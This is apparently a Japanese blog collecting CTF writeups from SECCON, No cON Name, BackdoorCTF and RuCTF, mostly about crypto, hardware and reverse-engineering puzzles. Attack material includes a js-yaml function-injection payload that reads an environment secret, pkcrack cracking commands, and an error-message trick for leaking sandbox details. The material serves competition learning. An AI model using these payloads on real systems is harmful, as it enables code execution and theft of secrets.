Hatena::ブログ(Diary)

ソースコード置き場

2015-12-06

SECCON 2015 Online CTF Writeup

Crypto 100 (Unzip the file)

パスワード付きのzipファイルが渡されます。
中身のファイル名がbacknumber08.txt, backnumber09.txt, flagの3つなので、それでググるとsecconメールマガジンのバックナンバーが引っかかります。
http://2014.seccon.jp/mailmagazine/backnumber08.txt
http://2014.seccon.jp/mailmagazine/backnumber09.txt
あとはpkcrack(https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/pkcrack-readme.html)でKnown-plaintext attackするとWordのファイルが出てきます。
開くと真っ白ですがフォントの色を変えると答えが出ます。

$ zip backnumber08.zip backnumber08.txt
$ ./pkcrack-1.2.2/src/pkcrack -C unzip -c backnumber08.txt -P backnumber08.zip -p backnumber08.txt -d decrypted.zip
Flag: SECCON{1s_th1s_passw0rd_ weak?}

Binary 400 (Reverse-Engineering Hardware 1)

Raspberry Pi 2とブレッドボードで作った回路の写真と動画、pythonのコードが渡されます。
回路の解読のためにはGPIOのピン配置を知る必要があります。
http://qiita.com/aryoa/items/3f6d82b8c63761cef087
74HC74(Dフリップフロップ)が使われているのでデータシートも読みます。
http://www.marutsu.co.jp/contents/shop/marutsu/datasheet/TC74HC74A.pdf
回路は次のようなブロック7つからできています。
f:id:waidotto:20151206194736p:image
ここで¥text{LED}=¥text{in}_1+¥text{in}_2ですが、
プルアップ抵抗なので¥text{out}=¥bar{¥text{LED}}です。
以上に注意して解読すると次のような回路であることがわかります。
{X_1=Q_1¥¥X_2=Q_2¥¥X_3=¥bar{¥text{DA}}¥cdot Q_2¥¥X_4=(¥text{DA}+¥bar{Q_2})¥cdot Q_1¥¥X5 = ¥bar{¥text{DB}}¥cdot¥bar{Q_2}¥¥X_6=¥bar{Q_1¥oplus Q_2}}
適当にエミュレータを作って動かせば答えが出ます。

#!/usr/bin/python

#import RPi.GPIO as GPIO
import time

CLR = 4
CLK = 5
DA  = 6
DB  = 12

X1  = 13
X2  = 19
X3  = 20
X4  = 21
X5  = 26
X6  = 16

Q1 = 0
Q2 = 1

class VirtualGPIO:
    array = [False] * 27
    def input(self, pin):
        if pin in [X1, X2, X3, X4, X5, X6]:
            self.update()
        return self.array[pin]
    def output(self, pin, val):
        self.array[pin] = val
        if pin == CLK:
            self.array[Q1] = self.array[DA]
            self.array[Q2] = self.array[DB]
    def update(self):
        self.array[X1] = self.array[Q1]
        self.array[X2] = self.array[Q2]
        self.array[X3] = not (self.array[DA] or not self.array[Q2])
        self.array[X4] = not ((not self.array[DA] and self.array[Q2]) or not self.array[Q1])
        self.array[X5] = not (self.array[DB] or self.array[Q2])
        self.array[X6] = not (self.array[Q1] != self.array[Q2])

GPIO = VirtualGPIO()

#GPIO.setmode(GPIO.BCM)
#GPIO.setup(CLR, GPIO.OUT)
#GPIO.setup(CLK, GPIO.OUT)
#GPIO.setup(DA,  GPIO.OUT)
#GPIO.setup(DB,  GPIO.OUT)

#GPIO.setup(X1, GPIO.IN)
#GPIO.setup(X2, GPIO.IN)
#GPIO.setup(X3, GPIO.IN)
#GPIO.setup(X4, GPIO.IN)
#GPIO.setup(X5, GPIO.IN)
#GPIO.setup(X6, GPIO.IN)

GPIO.output(CLK, False)
GPIO.output(DA,  False)
GPIO.output(DB,  False)

#GPIO.output(CLR, False)
#GPIO.output(CLR, True)

flagString = ""

def encoder(x6,x5,x4,x3,x2,x1):
    v = 0
    v = GPIO.input(x1);
    v = 2*v + GPIO.input(x2)
    v = 2*v + GPIO.input(x3)
    v = 2*v + GPIO.input(x4)
    v = 2*v + GPIO.input(x5)
    v = 2*v + GPIO.input(x6)
    return v

c = '@'
flag = ""

try:
    for i in range(10) :
        if c == 'Y' :
            GPIO.output(DA, False)
            GPIO.output(DB, True)
        else:
            if (i & 1) == 0 :
                GPIO.output(DA, False)
            else :
                GPIO.output(DA, True)
            if (i & 2) == 0 :
                GPIO.output(DB, False)
            else :
                GPIO.output(DB, True)

        #time.sleep(0.1)

        c = chr(encoder(X6,X5,X4,X3,X2,X1)+32)
        flag = flag + c

        GPIO.output(CLK, True)
        GPIO.output(CLK, False)

        #time.sleep(0.1)
        flag = flag + chr(encoder(X6,X5,X4,X3,X2,X1)+32)

except KeyboardInterrupt:
    print("stop\n")

#GPIO.cleanup()

print("The flag is SECCON{"+flag+"}")
Flag: SECCON{###FD80UY#!8880UY#!8}

Unknown 100 (4042)

問題文が「謎の文章が2005年に古代遺跡から発見された。
これは何を意味している?」だったので、"4042 2005"で検索するとRFC4042というジョークRFCが出てきます。
http://www.ietf.org/rfc/rfc4042.txt
これで与えられた8進列をUTF-9 -> UTF-16デコードします。

#!/usr/bin/env python3
with open('no-network.txt') as f:
    text = f.read()

text = ''.join(text.split('\n'))
nonets = []
for i in range(len(text) // 3):
    nonets.append(int(text[i * 3:i * 3 + 3], 8))

i = 0
result = b'\xfe\xff'#utf-16be bom
while i < len(nonets):
    if (nonets[i] & 0x100) == 0:
        result += b'\xff' + (nonets[i] & 0xff).to_bytes(1, byteorder='big')
    else:
        result += (nonets[i] & 0xff).to_bytes(1, byteorder='big') + (nonets[i+1]).to_bytes(1, byteorder='big')
        i += 1
    i += 1
    if i % 27 == 0:
        result += b'\x00\x0a'

with open('ans' ,'wb') as f:
    f.write(result)

頑張って読むと答えがわかります。

Flag: SECCON{A_GROUP_OF_NINE_BITS_IS_CALLED_NONET}

Binary 500 (Reverse-Engineering Hardware 2)

1と同様、Raspberry Pi 2の回路の写真とpythonコードが渡されます。
74HC161を使っているとのことなのでデータシートを取ってきます。
http://toshiba.semicon-storage.com/info/lookup.jsp?pid=TC74HC161AP&lang=ja
回路を解読するとだいたい次のようになります。
{q_7=¥text{QA}_1,q_0=¥text{QB}_1,q_1=¥text{QC}_1,q_2=¥text{QD}_1¥¥q_3=¥text{QA}_2,q_4=¥text{QB}_2,q_5=¥text{QC}_2,q_6=¥text{QD}_2¥¥A_1=p_0,B_1=p_1,C_1=p_2,D_1=p_3¥¥A_2=p_4,B_2=p_5,C_2=p_6,D_2=p_7¥¥¥text{CK}_1=¥text{clock},¥text{CK}_2=¥text{CO}_1}
与えられたpythonコードをよく読むと、生成されるマスクは平文によらないので、暗号文をそのまま入力すれば平文が復元できます。

#!/usr/bin/env python

#import RPi.GPIO as gpio
import time
import sys
import struct

rfd = open(sys.argv[1], 'rb')
wfd = open(sys.argv[2], 'wb')
len = int(sys.argv[3])

load  = 4
clock = 10
reset = 9

p0=21
p1=20
p2=16
p3=12
p4=25
p5=24
p6=23
p7=18

pns = [p7,p6,p5,p4,p3,p2,p1,p0]

q0=19
q1=13
q2=6
q3=5
q4=22
q5=27
q6=17
q7=26

class Virtual74HC161:
    qa = qb = qc = qd = False
    pre_clk = False
    def set(self, rst, clk, ld, a, b, c, d):
        if rst == False:
            self.qa = self.qb = self.qc = self.qd = False
        else:
            if ld == False:
                self.qa = a
                self.qb = b
                self.qc = c
                self.qd = d
            else:
                if self.pre_clk == False and clk == True:
                    if self.qa == False:
                        self.qa = True
                    elif self.qb == False:
                        self.qa = False
                        self.qb = True
                    elif self.qc == False:
                        self.qa = False
                        self.qb = False
                        self.qc = True
                    elif self.qd == False:
                        self.qa = False
                        self.qb = False
                        self.qc = False
                        self.qd = True
                    else:
                        self.qa = False
                        self.qb = False
                        self.qc = False
                        self.qd = False
        self.pre_clk = clk
    def getQA(self): return self.qa
    def getQB(self): return self.qb
    def getQC(self): return self.qc
    def getQD(self): return self.qd
    def getCO(self): return self.qa and self.qb and self.qc and self.qd

class VirtualGPIO:
    IC1 = Virtual74HC161()
    IC2 = Virtual74HC161()
    LOW = False
    HIGH = True
    array = [False] * 28
    def output(self, pins, val):
        if isinstance(pins, int):
            self.array[pins] = val
        else:
            for pin in pins:
                self.array[pin] = val
        self.IC1.set(self.array[reset], self.array[clock], self.array[load],
                self.array[p0], self.array[p1], self.array[p2], self.array[p3])
        self.IC2.set(self.array[reset], self.IC1.getCO(), self.array[load],
                self.array[p4], self.array[p5], self.array[p6], self.array[p7])
    def input(self, pin):
        self.array[q7] = self.IC1.getQA()
        self.array[q0] = self.IC1.getQB()
        self.array[q1] = self.IC1.getQC()
        self.array[q2] = self.IC1.getQD()
        self.array[q3] = self.IC2.getQA()
        self.array[q4] = self.IC2.getQB()
        self.array[q5] = self.IC2.getQC()
        self.array[q6] = self.IC2.getQD()
        return self.array[pin]

gpio = VirtualGPIO()

def pulse(pin):
    gpio.output(pin, gpio.LOW)
    gpio.output(pin, gpio.HIGH)

def init():
    #gpio.setwarnings(False)
    #gpio.setmode(gpio.BCM)
    #gpio.setup([clock,load,reset], gpio.OUT)
    gpio.output([clock,load,reset], gpio.HIGH)
    pulse(reset)
    #gpio.setup(pns, gpio.OUT)
    gpio.output(pns, gpio.LOW)
    #for q in [q7, q6, q5, q4, q3, q2, q1, q0]:
        #gpio.setup(q, gpio.IN)

def setValue(n):
    pulse(reset)
    for i in range(n):
        pulse(clock)

def a2v(a):
    return a[7]+2*a[6]+4*a[5]+8*a[4]+16*a[3]+32*a[2]+64*a[1]+128*a[0]

# main        
init()

for i in range(len):
    value = a2v([gpio.input(q7), gpio.input(q6), gpio.input(q5),
                 gpio.input(q4), gpio.input(q3), gpio.input(q2),
                 gpio.input(q1), gpio.input(q0)])
    # file convert 
    v = rfd.read(1)
    d = b''
    d += struct.pack('B', ord(v) ^ value)
    wfd.write(d)

    setValue(value)
    #time.sleep(0.1)
    pulse(clock)
    pulse(clock)
    pulse(clock)

#gpio.cleanup()

復元したgzip解凍するとflagが得られます。

Flag: SECCON{7xgxUbQYixmiJAvtniHF}

Exercises 50 (Last Challenge (Thank you for playing))

やるだけ。

#!/usr/bin/env python
cipher = 'PXFR}QIVTMSZCNDKUWAGJB{LHYEOEV}ZZD{DWZRA}FFDNFGQO'
plain = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}{HELLOWORLDSECCONCTF}'
s = 'A}FFDNEA}}HDJN}LGH}PWO'
res = ''
for c in s:
    res += plain[cipher.find(c)]
print(res)
Flag: SECCON{SEEYOUNEXTYEAR}

2015-02-11

SECCON CTF 2014 決勝戦 六(6) Writeup

2015/02/07,2015/02/08にteam 0x0(@nash_fs, @superbacker, @waidotto, @wafrelka)でSECCON CTF 2014決勝戦に参加していました。
結果は5位/24で、3連覇達成はなりませんでした。

以下、サーバ六(6)のWriteupです。

概要

サーバ6はCrypt系で、次のような内容でした。

1.Your team can upload a python code(enc/dec pair).
2.After your team uploads your code, you will not be allowed to upload again for 1 hour.
3.You will be able to get a keyword for AP if you break ID1-4 codes.
4.All codes will be ranked by its code size.
5.Your team will gain DP while your code keep 1st place.
6.Your team's defense flags are written automatically into the flag page.
7.The flag page is here(フラグページヘのリンク).

8.INPUT will consist of 64 characters (A-Za-z0-9_/)
9.OUTPUT must consist of 64 characters (A-Za-z0-9_/)

(*) AP=ATTACK POINT, DP=DEFENCE POINT

D
f:id:waidotto:20150211225326p:image
f:id:waidotto:20150211225325p:image

ID: 00000001

単純な換字式暗号です。
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_/
を入力すればテーブルが得られます。

s = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_/'

table = 'b1gkVL0PTaQwprGUvK5mtnZBMD8SI3oHqACRzJE_7y6iOud2hW9jflNFxeX4/sYc'

cipher = 'U8OOh7i3YI8_YJo8i_Yi7IzY37Y5u9JoY97dYOCud8uC7_YHC_3YbY8_3YhiCuoYu7YhACJoYE8C_J9Y7IIdiio3YA8OYA8IzoiYuAoY7iYdOoYhi7uoYio83YiCqAuY'

plain = ''
for c in cipher:
	plain += s[table.find(c)]

print plain

ID: 00000002

各文字の変換結果は入力の文字数 mod 4にのみ依存しており、暗号文が64文字なので、やはり
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_/
を入力すればテーブルが得られます。

s = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_/'

table = 'RhW4NCBlFexfymtp/oELivM69cQSqYgIjkdurJz28AwP0U5D1Zb3HaXKTnOV_7sG'

cipher = 'pQ0018PYsa7_nskQqrgP0szQrgsSg0Usa77OsdYg2UdIdqQUd82sQskQqrgPsd0sQYzd2d0UPQUd82szb0gJIs1kbsUkgsUdzgs1gJJszQbsd0sUkgs0k85JYsUdUJgs'

plain = ''
for c in cipher:
	plain += s[table.find(c)]

	print plain

ID: 00000003

@wafrelkaが解いてくれました。
文字ごとにテーブルをローテートしているらしい?です。

ID: 00000004

試しにABを投げてみると、次の出力が得られます。

AAAAAlBoSAB

明らかにBase64なのでデコードします。

00 00 00 02 50 68 48 00

他にもいくつか投げてみると、次のようなことがわかります。

  • 単一の文字からなる場合のみランレングス圧縮
  • 複数の文字がある場合、はじめの4バイトは文字列
  • なんかハフマン符号っぽい(勘)

既存の圧縮アルゴリズムかと思いましたが、よくわからなかったので自力で解きました。

入力をもう少し長くしてbbbbbaaaddddcceeeeeとしてBase64デコードして先頭4バイトを取り除いて2進数にすると、次が得られます。

00101100 01010110 01010101 10010001
01100001 10110001 10000000 00011011
01101010 10101111 11010101 01010000
00000000

このビット列をしばらく眺めると次のように見えます。

001 01100010 #'b'
1 01100101 #'e'
01 01100100 #'d'
01 01100001 #'a'
1 01100011 #'c'
00 00 00 00 00
110 110 110
10 10 10 10
111 111
01 01 01 01 01
000000000000

これから'b'->00, 'a'->110, 'd'->10, 'c'->111, 'e'->01という符号が得られます。
これをハフマン木で書いてみると次のようになります。
f:id:waidotto:20150211213455p:image
これから次のようなアルゴリズムで復号できると推測できます。

  1. 連続する0の数だけ左下へ行く(行きがけに'*'で埋める)
  2. 1が来たら、その後ろ8ビットを文字として置く
  3. 一つ上る
  4. 現在いる場所の右下が空になるまで上る
  5. 木が埋まっていなければ1.に戻る
  6. 出来上がったハフマン木に従って文字数ぶん復号する

次のようなコードで復号できました。

import math

s = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_/'

cipher = 'AAAAgBX7KsK03QWS3Leud1FmWe5LyodjFstpL6Eo1JFKpioWItFrXBdrv6Vrf9ZwOK3TmBqriKkisDVXD/E45TcNOQUwNumw8L8pNiO4vLfxzsz6FYGDMB25IvYwO2ZI6qzbhOMi4dfSGkQfd8h5YAB=='
bc = cipher.decode('base64')
length = int(bc[:4].encode('hex'), 16)
bc = ''.join(['{0:08b}'.format(ord(x)) for x in bc[4:]])

tree = [None] * (2**16)
def downLeft(p):
    return p * 2 + 1
def downRight(p):
    return p * 2 + 2
def up(p):
    return (p - 1) // 2
def depth(p):
    return math.floor(math.log(ptr + 1, 2))
ptr = 0

break_flag = False
while True:
    while bc[0] == '0':
        bc = bc[1:]
        tree[ptr] = '*'
        ptr = downLeft(ptr)
    bc = bc[1:]
    tree[ptr] = chr(int(bc[:8], 2))
    bc = bc[8:]
    ptr = up(ptr)
    while tree[downRight(ptr)] != None:
        ptr = up(ptr)
        if ptr == 0 and tree[downRight(ptr)] != None:
            break_flag = True
            break
    if break_flag:
        break
    ptr = downRight(ptr)

plain = ''
while 0 < len(bc):
    ptr = 0
    while tree[ptr] == '*':
        if bc[0] == '0':
            ptr = downLeft(ptr)
        if bc[0] == '1':
            ptr = downRight(ptr)
        bc = bc[1:]
    plain += tree[ptr]
    if length <= len(plain):
        break
    
print plain

Defence Point

プレイヤーはenc.pyとdec.pyをアップロードすることができ、plain == decode(encode(plain))ならば受理されます。
len(enc.py) + len(dec.py)が小さいほどランキング上位に入れます。
最短は、enc.py, dec.pyをともに

INPUT=OUTPUT

にすればOKです。
ただし、他のプレイヤーが暗号文を復号してcipher == encode(plain)にできればそのコードをランキングから落とすことができます。
しかしplain == decode(encode(plain))のチェックはアップロード時にしか行われないため、
例えばenc.pyとdec.pyを

OUTPUT=`id(0)`+INPUT
OUTPUT=INPUT[8:]

とすることで、36バイトのコードで実質的にcipher == encode(plain)にできなくなってしまいます。
これによってDefence Pointを稼いでいたチームが多かったようです。

その他

このサーバはどうやらcode golfをするのが正攻法(?)だったようです。
enc.pyでなんとかしてリバールシェルを起動させたりファイルを読んだりしようとしましたが、サンドボックス内で動いていたためダメでした。
アップロード時にSyntaxErrorなどが起きる場合、エラーメッセージが返されるので、例えば

raise NameError('hoge')

などとするとhogeが返ってきます。
これを利用して得られた情報をいくつか記します。

repr(os.uname())
('Linux', 'ubuntu', '3.13.0-32-generic', '#57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014', 'x86_64')
sys.version
2.7.6 (default, Mar 22 2014, 22:59:56) 
[GCC 4.8.2]
os.getcwd()
/usr/lib/cgi-bin
repr(os.environ)
{'HTTP_REFERER': 'http://6.finals.seccon.jp/', 'CONTEXT_DOCUMENT_ROOT': '/usr/lib/cgi-bin/', 'SERVER_SOFTWARE': 'Apache/2.4.7 (Ubuntu)', 'CONTEXT_PREFIX': '/cgi-bin/', 'SERVER_SIGNATURE': '<address>Apache/2.4.7 (Ubuntu) Server at 6.finals.seccon.jp Port 80</address>\n', 'REQUEST_METHOD': 'POST', 'SERVER_PROTOCOL': 'HTTP/1.1', 'QUERY_STRING': '', 'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'CONTENT_LENGTH': '1156', 'HTTP_USER_AGENT': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0', 'HTTP_CONNECTION': 'keep-alive', 'SERVER_NAME': '6.finals.seccon.jp', 'REMOTE_ADDR': '192.168.2.6', 'SERVER_PORT': '80', 'SERVER_ADDR': '10.100.6.1', 'DOCUMENT_ROOT': '/var/www/html', 'SCRIPT_FILENAME': '/usr/lib/cgi-bin/cg.cgi', 'SERVER_ADMIN': 'webmaster@localhost', 'HTTP_HOST': '6.finals.seccon.jp', 'SCRIPT_NAME': '/cgi-bin/cg.cgi', 'HTTP_CACHE_CONTROL': 'max-age=0', 'REQUEST_URI': '/cgi-bin/cg.cgi', 'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'GATEWAY_INTERFACE': 'CGI/1.1', 'REMOTE_PORT': '58079', 'HTTP_ACCEPT_LANGUAGE': 'ja,en-us;q=0.7,en;q=0.3', 'REQUEST_SCHEME': 'http', 'CONTENT_TYPE': 'multipart/form-data; boundary=---------------------------743837628893702018431594614', 'HTTP_ACCEPT_ENCODING': 'gzip, deflate'}
traceback.format_exc()
Traceback (most recent call last):
  File "/usr/lib/cgi-bin/pysbox.py", line 105, in _child_main
  OSError: [Errno 9] Bad file descriptor
repr(sys.modules)

長いので/cgi-bin/内のものだけ示します。

{'hadoken': <module 'hadoken' from '/usr/lib/cgi-bin/hadoken.py'>
 'cryptolog': <module 'cryptolog' from '/usr/lib/cgi-bin/cryptolog.py'>
 'acctrl2': <module 'acctrl2' from '/usr/lib/cgi-bin/acctrl2.py'>
 'pysbox': <module 'pysbox' from '/usr/lib/cgi-bin/pysbox.py'>
 '__main__': <module '__main__' from '/usr/lib/cgi-bin/cg.cgi'>
 'pysqldb': <module 'pysqldb' from '/usr/lib/cgi-bin/pysqldb.pyc'>}

/cgi-bin/pysbox.pyなどのファイルにアクセスしてもすべてInternal Server Errorでダメでした。
__main__.get_chars()が'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_/'を返すなどはわかりましたが、pythonに詳しくないので他のクラスや関数の中身はわかりませんでした。

hadoken.pyという名前が謎だったので競技終了後に愛甲さんに聞いてみたところ、
「えっ、なんでそれ知ってるの」という反応でした(「波動拳システム(=NIRVANA)」のことらしいです)。

反省

Attack PointはいつSubmitしても同じなので、ホテルに帰ってから挑戦するべきでした。
初日はDefence Pointを確実に稼いだほうが良いです。
実際に、優勝したTOEFL Beginnerは挑戦者の少ないサーバを狙って確実にDefence Pointを稼いでいたようです。

おわりに

今年もとても楽しかったです。
運営の皆様ありがとうございました。

2014-09-15

No cON Name CTF Quals 2014 Writeup

MISCall(Misc 100)

.tar.gzのファイルを展開すると、gitリポジトリが出てきます。
ファイルはflag.txtのみで、Nothing to see here, moving along...とか書いてあります。
git logを見てもinitial commitのみ。
そこで.git/objects/を見ます。
$ git cat-file -p <ハッシュ値>でファイルが見られるので、いろいろ漁るとs.pyというファイルがあります。

#!/usr/bin/env python
from hashlib import sha1
with open("flag.txt", "rb") as fd:
    print "NCN" + sha1(fd.read()).hexdigest()

あとはもとのflag.txtをダンプしてsha1をとれば終了です。
ただし、gitハッシュはファイルのsha1そのものではないのでそこは注意が必要です。
参考:http://stackoverflow.com/questions/5290444/why-does-git-hash-object-return-a-different-hash-than-openssl-sha1
Flag:

NCN4dd992213ae6b76f27d7340f0dde1222888df4d3

cannaBINoid(Bin 300)

32bitのELFです。
objdumpで逆アセンブルコードを読むと、

  1. freadでstdinから0x80バイト読み込む
  2. openとmmapargv[0](つまり自分自身)を0x80バイトぶんメモリにロードする
  3. 2つのバッファが等しければ"You got it!"をputsで表示

よって実行ファイルの先頭0x80バイトがkeyとなるので、このsha1をとればOKです。
Flag:

NcN_effaf80a641b28a8d8a750b99ef740593bb3dcbd

2014-03-25

BackdoorCTF 2014 Write up

Crypto 10

問題文

H4x0R(jpgファイルへのリンク) recently went missing. An investigating team specializing in hacking was deployed to search around his place. All they found was this file. Please help them obtain secret 32characters string that can lead to him

Submit the flag as: flag_obtained

答え

crypto10.jpgをforemostにかけるとzipファイルが出てきて、解凍するとgot2.jpgが出てきます。
got2.jpgをforemostにかけるとzipファイルが出てきて、解凍するとtxt.txtが出てきます。
txt.txtに答えが書かれています。

Flag:

6307834008eb8edbe18c7a20ee4a909d

Crypto 100

問題文

H4x0R got this weird code while coming back from school. can you get a 32char code flag that can make him happy ?



1f8b08089c452c530003737465703900edd85b6ec3300c44d1ffae86dcffe61ac7e1437403e42b1a171745d02a946c890713383537f3c7cb3c7e8e37ec7c99d7fb39cbe3afaa5bac89f1735e5c3597bf263e571ef52ab549d6d759bb5eed2de6d7c56bf76d3f6de47d76ac8e9567c9bdefb0d7dbe16c3d67ded997bbb71eae3d8d7db8d796d6fed7fda317f808fb5ceaf848f9b48ee1a3e833ebf868f9901f6d9f59c747cb87fca8faacfbc1079fbbf8ccfa469f1ce323999f4b1d9f6b7d8f4f1e161ff2732b1ff2a3eda3911f7cb47d78bed6f6213fef7c667da3cfa58e0ff9c1071f7cf0f986cface3830f3e1f7fffb9d4f1c147dd67d6f7f8f43ee0d37d34f29387c547d6a7c6f828faf48ee1e335191f611ff283cf673e35c647d1a7770c1f2d9fb33ff8a8fa909f3bf8cc3a3e5a3ee447d9a7c6f8a8f9f8da157c14ff7f80cf1f3e1af9895ee0a3e973cec147d5270f8b8fa40fcf07da3ed10b7ca6cfacefcc8f8d3a3e2af9e1f3ed9d8f467ef2b0f8e8e6071f599fe8053e9a3ee4e7063e39c647d287fce0830f3effd327f6808fa6cfd2317cb47c7a1ff0d1f3213fda3ee447db87fc68fbb4fbe123e8e36b57f0499f59df989fd6317ce4f2137bc067f1d1c8cfd99f65ddebe0a976fcfef9059996b432616b0000


Hint: A decade worth of encryption layers

答え

問題文をhexデコードするとgzipが出てきます。
gzip解凍すると0と1だけが大量に書かれたファイルが出てきます。
8文字ごと区切って2進数として読むとBase64の書かれたファイルが出てきます。
Base64デコードすると-GASYADT*&-25-GASYADT*&-33-……などと大量に書かれたファイルが出てきます。
アルファベットや記号は気にせず数字だけをhexデコードするとURLエンコードされた文字列が出てきます。
URLデコードするとhexが出てきます。
hexデコードするとuggc://cnfgr.hohagh.pbz/7130554/というのが出てきます。
ROT13デコードするとURLになり、アクセスするとフラグが得られます。

Flag:

5d3144233c46404dba4afc766601b997

Miscellaneous 150

問題文

This(ファイルへのリンク) wierd file was found by H4XOR when trying to search for his flags. Can you get him his flag ?

Submit flag as flag_obtained


Hint: Brush upon your history lessons.

答え

fileコマンドにかけるとzipのようなので、unzipします。
misc1504.zipが出てくるので、unzipします。
misc1503.zipが出てくるので、unzipします。
misc1502.zipが出てくるので、unzipします。
misc1501.zipが出てくるので、unzipします。
misc150.zipが出てくるので、unzipします。
Misc150というファイルが出てきます。fileコマンドにかけるとLinux rev 1.0 ext2 filesystem dataとのことなので、mountします。
mountするとpdfやらwavやらkey.txt(ダミー)やらゲームやらが出てきますが、

% diff .bash_history lost+found/\#23
330d329
< curl http://paste.ubuntu.com/7130279/
355c354
< 
---
> curl http://paste.ubuntu.com/7130279/

としたら答えが出てきました。

Flag:

934360b5b4901b727471b39455949a47

Miscellaneous 200

問題文

>A military troop was caught sending over a microprocessor chip along with a memory chip to a family in Scotland.

The program on the microprocessor can be found here(ファイルへのリンク).

The Memory Chip had the following state: 103 110 117 95 115 107 105 108 108 95 97 99 116 101 100 95 114 97 119 starting from memory address 0x0031, ie the value in the memory location 0x0032 was 110.

Submit the flag as: md5(secret_msg)

答え

元々のメモリのアドレス0x31からの内容を文字列に直すと"gnu_skill_acted_raw"となります。
ファイルには次のような8085のアセンブリが書かれていました。

; This is the default program that ships with
; every 8085 that we at Intel manufacture
;
; Cheers!

jmp start

;code

start: lxi H,0041h
lxi D,0044h
mvi B,03h

loop: mov A,M
xchg
mov M,A
xchg
inx H
inx D
dcr B
mov A,B
sbi 0
jnz loop

lxi H,0041h
lxi D,0042h
mvi A,69h
mov M,A
xchg
mvi A,6Eh
mov M,A
inx H
mvi A,5Fh
mov M,A

lxi H,0044h
lxi D,0046h
mov A,M
xchg
mov B,M
mov M,A
xchg
mov M,B

lxi H,0032h
lxi D,0033h
mov A,M
xchg
mov B,M
mov M,A
xchg
mov M,B

lxi H,003Bh
lxi D,003Ch
mov A,M
xchg
mov B,M
mov M,A
xchg
mov M,B

lxi H,003Dh
lxi D,003Fh
mov A,M
xchg
mov B,M
mov M,A
xchg
mov M,B

lxi H,0036h
lxi D,0035h
mvi B,04h

loopagain: mov A,M
xchg
mov M,A
xchg
inx H
inx D
dcr B
mov A,B
sbi 0
jnz loopagain

lxi H,0039h
mvi A,73h
mov M,A

;halt
hlt

http://ja.wikipedia.org/wiki/Intel_8085を見てみると、8080とほとんど同じだということなので、http://ja.wikipedia.org/wiki/Intel_8080の命令セットの欄を参照しながら読むと、以下のような処理をしているだけだとわかります。

[0x44] = [0x41]
[0x45] = [0x42]
[0x46] = [0x43]

[0x41] = 0x69
[0x42] = 0x6e
[0x43] = 0x5f

[0x44] <=> [0x46]

[0x32] <=> [0x33]

[0x3b] <=> [0x3c]

[0x3d] <=> [0x3f]

[0x35] = [0x36]
[0x36] = [0x37]
[0x37] = [0x38]
[0x38] = [0x39]

[0x39] = 0x73

実際にやってみると、"gun_kills_cadet_in_war"という文字列が得られるので、md5を取ると答えが得られます。

Flag:

f57f4973ce9eb1c07c71ad3be3752c79

Miscellaneous 250-2

問題文

Username and password based login seemed a bit too monotonous. We developed an indigenous image based login system.

The login service is available here(ログインページへのリンク).

The image below can be used to login as the backdoor user. Unfortunately that doesn't serve any purpose.
f:id:waidotto:20140325111352j:image

Login as the sdslabs user for a change.

Submit the flag as: md5(flag_obtained)


Hint: Are you kidding me? Character recognition seriously?

答え

言われたとおりログインページでbackdoorの画像をアップロードすると、backdoorユーザとしてログインできます。
画像をgimpなどのペイントソフトで開いて黒い部分を白で塗りつぶすと、左上のほうに黒いドット(#010101)が残ります。
画像の一番左上から#000000を0、#010101を1として、右に向かって2進数として解釈すると"backdoor"の文字コードの2進数表示が得られます。
そこで、backdoorの代わりにsdslabsの2進数表示を左上に作った画像をアップロードすることで、sdslabsとしてログインできます。
sdslabsとしてログインすると、Congrats the flag is practice_makes_one_perfectと表示されます。

Flag:

c16a3c8504985a8c91956c29f7338184

Web 250-1

問題文

Web250(Webページヘのリンク) Flag format: md5_string

答え

リンクを開くと、MarkdownのソースをHTMLに変換するWebアプリが出てきます。
https://github.com/backdoor-ctf/web250からソースが得られます。
js-yamlの使い方をググってみると、かなり自由に色々できるようです。
次のようなデータを送信するとフラグが得られます。

---
flag: !!js/function >
  function() {
    return process.env.FLAG;
  }
---
{{flag}}

Flag:

fb1f85e4f37eb3bf31141cb1dcce1caf

感想

MD5どんだけ好きなんですか

2014-03-10

RuCTF Quals 2014 hardware 200 Write up

問題文

What is the shortest valid code?Files(zipファイルへのリンク). Attention: you have 70 attempts.

答え

zipファイルをダウンロードすると、次の3枚の画像と1つの動画が入っています。
f:id:waidotto:20140311043929j:image
f:id:waidotto:20140311043930j:image
f:id:waidotto:20140311043931j:image
動画には上の画像の回路が動作している様子が写っています。
はじめに赤いLEDが点灯していて、カメラの撮影範囲外でパスコードを入力すると緑のLEDが点灯します。
f:id:waidotto:20140311043932p:image
f:id:waidotto:20140311043933p:image
回路の表に写っているICのうち、2つは74HC32(OR回路が4つ入っている、超有名なロジックIC)で、残り2つはK561というよくわからないICです。
K561のデータシートを探したところ、次のようなロシア語のものしか見つかりませんでした。
http://radio-hobby.org/uploads/datasheets/k/k561tm2.pdf
これをGoogle翻訳ロシア語手書き入力で翻訳した(キリル文字は立体と斜体で形が大きく違うので、Wikipediaを参照しながら書いた)ところ、Два D-триггера с динамическим управлениемは2つの動的制御のDフリップフロップというような意味であることがわかりました。
よくわかりませんがとにかくDフリップフロップだということなので、データシートのピンアサインを見ながら作成した大まかな論理回路の図を以下に示します。
f:id:waidotto:20140311042800j:image
ここで、注意すべきことが2つあります。

  1. 抵抗の配置から、この抵抗はプルダウン抵抗であることがわかるので、ボタンを押したときにHIGH、離したときにLOWの信号がICに入力されます。
  2. LEDにつながっているトランジスタはおそらくPNP型なので、信号がLOWのときに光ります。

